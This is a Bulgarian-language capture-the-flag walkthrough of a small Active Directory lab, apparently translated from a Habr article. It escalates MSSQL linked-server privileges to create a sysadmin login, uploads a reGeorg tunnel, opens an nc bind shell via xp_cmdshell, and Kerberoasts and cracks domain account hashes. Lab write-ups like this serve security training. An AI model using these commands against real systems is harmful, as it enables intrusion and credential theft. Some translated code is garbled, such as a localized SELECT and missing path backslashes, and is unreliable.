
В тази статия ще разгледаме не просто машина, а цяла мини-лаборатория от площадката .
Както е посочено в описанието, P.O.O. е предназначен за проверка на уменията на всички етапи на атаки в малка среда на Active Directory. Целта е да се компрометира достъпният хост, да се повишат привилегиите и в крайна сметка да се компрометира целият домейн, събирайки 5 флага.
Свързването с лабораторията се извършва чрез VPN. Препоръчва се да не се свързвате от работния компютър или от хост, където имате важни данни, тъй като попадате в частна мрежа с хора, които разбират нещо в сферата на киберсигурността 🙂
Организационна информация
За да можете да получавате информация за нови статии, софтуер и други, създадох и в областта на ИиКБ. Също така ще разгледам личните ви молби, въпроси, предложения и препоръки .
Цялата информация е предоставена изключително с образователна цел. Авторът на този документ не носи отговорност за каквито и да било щети, причинени на трети лица в резултат на използването на знания и методи, получени от изучаване на този документ.
Intro
Този крайгълен случай се състои от две машини и съдържа 5 флага.

Също така се дава описание и адрес на достъпния хост.

Стартираме!
Recon флаг
Тази машина има IP адрес 10.13.38.11, който добавям в /etc/hosts.
10.13.38.11 poo.htb
Първо сканираме отворените портове. Тъй като сканирането на всички портове с nmap отнема време, първо ще го направя с masscan. Сканируем всички TCP и UDP портове от интерфейса tun0 с скорост 500 пакета в секунда.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Сега, за да получим по-подробна информация за услугите, които работят на портовете, ще стартираме сканиране с опцията -А.
nmap -A poo.htb -p80,1433 
Така имаме услуги IIS и MSSQL. Освен това разбираме реалното DNS име на домейна и компютъра. На уеб сървъра ни посреща началната страница на IIS.

Нека разгледаме директориите. За целта използвам gobuster. В параметрите задавам броя на потоковете 128 (-t), URL (-u), речника (-w) и разширенията, които ни интересуват (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
По този начин имаме HTTP удостоверяване за директорията /admin, а също така достъпен файл на хранилището за работния плот .DS_Store. .DS_Store е файл, в който се съхраняват потребителски настройки за папката, като списък с файлове, разположение на иконите и избрано фоново изображение. Такъв файл може да попадне в директорията на уеб сървъра при уеб разработчиците. По този начин получаваме информация за съдържанието на каталога. За целта може да се използва .
python3 dsstore_crawler.py -i http://poo.htb/ 
Получаваме съдържанието на каталога. Най-интересното тук е каталогът /dev, от който можем да видим изходния код и файловете db в две клонове. Но можем да видим първите 6 символа на името на файловете и директориите, ако услугата е уязвима към IIS ShortName. Можем да проверим за наличието на тази уязвимост с помощта на .

И намираме един текстов файл, който започва с «poo_co». Не знаейки какво да правя по-нататък, просто избрах от речника на директорийте всички думи, започващи на «co».
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtИ ще ги пробваме с помощта на wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
И намираме подходяща дума! Разглеждаме наличния файл, запазваме данните за вход (съдейки по параметъра DBNAME, те са от MSSQL).

Подаваме флага и напредваме с 20%.

Huh flag
Свързваме се с MSSQL, аз използвам DBeaver.

Не намираме нищо интересно в тази база, нека създадем SQL редактор и да проверим какви потребители съществуват.
SELECT name FROM master..syslogins; 
Имаме двама потребители. Нека проверим привилегиите си.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
По този начин нямаме никакви привилегии. Нека погледнем свързаните сървъри, за тази методология пишех подробно. .
SELECT * FROM master..sysservers; 
Така откриваме още един SQL Server. Нека проверим изпълнението на команди на този сървър с помощта на openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
И дори можем да изграждаме дърво от заявки.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');Фактът е, че когато изпълняваме заявка на свързан сървър, заявката се изпълнява в контекста на друг потребител! Нека видим в контекста на кой потребител работим на свързания сървър.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
А сега да видим в какъв контекст се изпълняват заявките от свързания сървър на нашия!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
По този начин, това е контекстът DBO, който трябва да притежава всички привилегии. Нека проверим привилегиите при заявка от свързания сървър.
ИЗБЕРЕТЕ * ОТ openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Както можем да видим, имаме всички привилегии! Нека създадем наш администратор по този начин. Но не можем да го направим чрез openquery, нека го направим чрез EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";И сега се свързваме с данните на новия потребител, наблюдаваме новата база данни flag.

Предаваме този флаг и продължаваме напред.

BackTrack флаг
Ще получим шелл чрез MSSQL, използвам mssqlclient от пакета impacket.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Трябва да намерим паролите и първото, което вече срещнахме, е сайтът. Таким образом, нуждаем се от конфигурацията на уеб сървъра (не мога да пусна удобен шелл, явно работи защитната стена).

Но достъпът е забранен. Въпреки това можем да прочетем файл от MSSQL, просто трябва да знаем какви програмни езици са настроени. В директорията MSSQL разбираме, че има Python.

Тогава прочитането на файла web.config не е никакъв проблем.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
С намерените данни за вход влизаме в /admin и вземаме флага.


Foothold флаг
Наистина, използването на защитна стена има някои неудобства, но като преглеждаме настройките на мрежата, забелязваме, че се използва и пряка връзка чрез IPv6!

Добавяме този адрес в /etc/hosts.
dead:babe::1001 poo6.htb
Нека отново сканираме хоста, но по протокол IPv6.

И по IPv6 е налична услугата WinRM. Свързваме се с намерените данни за вход.

На работния плот има флаг, предаваме го.

P00ned флаг
След проведено разузнаване на хоста с помощта на не намираме нищо забележително. Тогава бе взето решение отново да търсим данни за вход (за това също писах ). Но не успях да получа всички SPN от системата чрез WinRM.
setspn.exe -T intranet.poo -Q *
/* 
Нека изпълним командата чрез MSSQL.

По посочения начин получаваме SPN на потребителите p00_hr и p00_adm, което означава, че те са уязвими на атаки, като Kerberoasting. В кратце, можем да получим хешовете на техните пароли.
Първо трябва да получим стабилен шелл от името на потребителя MSSQL. Но тъй като сме ограничени в достъпа, имаме свързване с хоста само през порт 80 и 1433. Въпреки това, има възможност за тунелиране на трафика през порт 80! За това ще използваме . Ще качим файла tunnel.aspx в домашната директория на уеб сървъра — C:inetpubwwwroot.

Но при опит за достъп до него получаваме грешка 404. Това означава, че файловете с разширение *.aspx не се изпълняват. За да могат файловете с това разширение да се изпълняват, инсталираме ASP.NET 4.5 по следния начин.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
И сега, когато се опитаме да отворим tunnel.aspx, получаваме отговор, че всичко е готово за работа.
![]()
Нека стартираме клиентската част на приложението, което ще се занимава с ретранслирането на трафика. Ще пренасочим целия трафик от порт 5432 към сървъра.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
И използваме proxychains, за да изпращаме трафика на всяко приложение през нашия прокси. Добавяме този прокси в конфигурационния файл /etc/proxychains.conf.

Сега ще качим на сървъра програмата , с която ще направим стабилен bind шелл, и скрипта , с помощта на който ще извършим атаката Kerberoasting.

Сега чрез MSSQL стартираме слушателя.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
И се свързваме през нашия прокси.
proxychains rlwrap nc poo.htb 4321 
И нека вземем хешовете.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
След това трябва да преминем през тези хешове. Тъй като в речника rockyou нямаше тези пароли, използвах ВСИЧКИ речници passwords, предоставени в Seclists. За преминаването използваме hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceИ намираме и двете пароли, първата в речника dutch_passwordlist.txt, а втората в Keyboard-Combinations.txt.


И така имаме трима потребители, отиваме на контролера на домейна. Първо, да разберем адреса му.

Отлично, узнали IP адреса на доменното управление. Нека да разберем всички потребители на домена и кой от тях е администратор. Ще изтеглим скрипта PowerView.ps1 за получаване на информация. След това ще се свържем с помощта на evil-winrm, задавайки директорията със скрипта в параметъра -s. А после просто ще заредим скрипта PowerView.

Сега имаме достъп до всичките му функции. Потребителят p00_adm изглежда привилегирован, затова ще работим в неговия контекст. Ще създадем обект PSCredential за този потребител.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassСега всички команди PowerShell, където посочим Creds, ще се изпълняват от името на p00_adm. Нека да изведем списък с потребители и атрибута AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
И така, нашият потребител наистина е привилегирован. Нека да видим в кои групи е част.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Потвърдяваме, че потребителят е администратор на домена. Това му дава правото на дистанционен достъп до доменното управление. Нека да опитаме да влезем през WinRM, използвайки нашия тунел. Ошибките, показвани от reGeorg при използването на evil-winrm, ме затрудняват.

Тогава да използваме друг, по-лесен, за свързване с WinRM. Нека да отворим и променим настройките за свързване.

Опитваме се да се свържем и сме в системата.

Но флагът го няма. Тогава да погледнем в потребителите и да проверим десктопите.

При mr3ks намираме флага и лабораторията е завършена на 100%.

Ето, всичко е готово. Като обратна връзка, моля, коментирайте — научихте ли нещо ново от тази статия и беше ли ви полезна.
Можете да се присъедините към нас в . Там можете да намерите интересни материали, изтекли курсове и софтуер. Нека създадем общност, в която да има хора, разбиращи много области на ИТ, така че да можем да си помагаме по всякакви въпроси в ИТ и ИБ.
Източник: habr.com
